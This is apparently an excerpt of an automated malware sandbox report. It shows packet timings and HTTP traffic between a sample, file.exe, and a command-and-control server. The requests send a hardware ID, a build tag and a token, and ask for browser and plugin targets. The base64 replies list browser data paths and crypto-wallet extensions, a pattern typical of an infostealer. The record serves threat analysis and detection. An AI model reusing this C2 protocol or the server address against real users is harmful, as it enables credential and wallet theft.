Aug 28, 2024 11:51:16.643368959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643378973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643390894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643402100 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643404961 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.643414021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643418074 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.643439054 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.643471003 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.643862963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643910885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.643923044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643937111 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.643965960 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.643975973 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.670346975 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.675210953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.911604881 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.911631107 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.911640882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.911684036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.911696911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.911783934 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.911917925 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912084103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912152052 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912163973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912189007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912199974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912210941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912219048 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912249088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912300110 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912327051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912338018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912348032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912358046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912369967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912375927 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912388086 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912399054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912409067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912419081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912420034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912431955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912436962 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912446022 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912456989 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912476063 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912497044 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912653923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912664890 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912674904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912688971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912698030 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912702084 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912712097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912717104 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912724972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912736893 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912744045 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912748098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.912770033 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.912790060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913450003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913467884 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913480043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913490057 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913502932 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913502932 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913568974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913568974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913587093 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913599014 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913615942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913626909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913638115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913647890 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913661957 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913682938 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913883924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913894892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913908958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913925886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913935900 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913942099 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913953066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913959026 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913964987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913974047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913980007 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.913985968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.913996935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.914005995 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.914007902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.914019108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.914031029 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.914036989 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.914040089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.914052010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.914055109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.914073944 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.914096117 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915216923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915235996 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915246964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915261984 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915276051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915287971 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915576935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915587902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915599108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915631056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915648937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915657043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915661097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915673018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915685892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915694952 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915723085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915744066 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915749073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915760994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915770054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915780067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915790081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915797949 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915808916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915817976 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915844917 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915924072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915935040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915946007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915956020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915968895 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915972948 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915982962 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.915988922 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.915997028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.916003942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.916013956 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.916042089 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:17.133261919 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:17.133296013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:17.138216019 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:17.138230085 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.142920971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.142971039 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:18.209680080 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:18.214519024 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.452438116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.452460051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.452470064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.452538013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:18.455033064 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:18.459872007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.697495937 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:18.697566986 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:18.710958004 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:18.715907097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:19.517611027 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:19.517695904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:19.546262026 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:19.551510096 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:19.792329073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:19.792346001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:19.792396069 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:19.792431116 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:19.793670893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:19.801131964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:20.567061901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:20.568564892 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:23.884099007 CEST	49710	80	192.168.2.6	185.215.113.100

HTTP Request Dependency Graph

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.100	80	1600	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Aug 28, 2024 11:51:03.476445913 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 11:51:04.214076042 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 28, 2024 11:51:04.223992109 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHII Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 46 35 41 43 32 46 37 30 35 32 34 35 38 35 30 34 38 39 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="hwid"D9CF5AC2F7052458504893------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="build"leva------CFCFHJDBKJKEBFHJEHII--
Aug 28, 2024 11:51:04.484276056 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 67 78 4f 44 4d 77 4f 57 55 32 4e 7a 4a 68 4e 47 5a 68 5a 54 55 32 4d 6d 51 32 59 54 59 34 4d 54 41 31 59 57 45 78 4d 57 46 69 5a 57 51 31 4d 6a 56 6d 59 32 4a 6b 5a 54 51 30 59 7a 46 6a 59 57 49 78 4e 32 4e 6c 5a 44 49 33 59 7a 6c 69 4e 6d 49 32 4e 54 64 6b 4e 7a 45 79 4f 54 51 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MTgxODMwOWU2NzJhNGZhZTU2MmQ2YTY4MTA1YWExMWFiZWQ1MjVmY2JkZTQ0YzFjYWIxN2NlZDI3YzliNmI2NTdkNzEyOTQwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 28, 2024 11:51:04.492201090 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="message"browsers------HJKECAAAFHJECAAAEBFC--
Aug 28, 2024 11:51:04.734940052 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 28, 2024 11:51:04.734951973 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 28, 2024 11:51:04.736385107 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEG Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 2d 2d 0d 0a Data Ascii: ------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="message"plugins------GIEBGIIJDGHCBGCBFIEG--
Aug 28, 2024 11:51:04.979331970 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 09:51:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 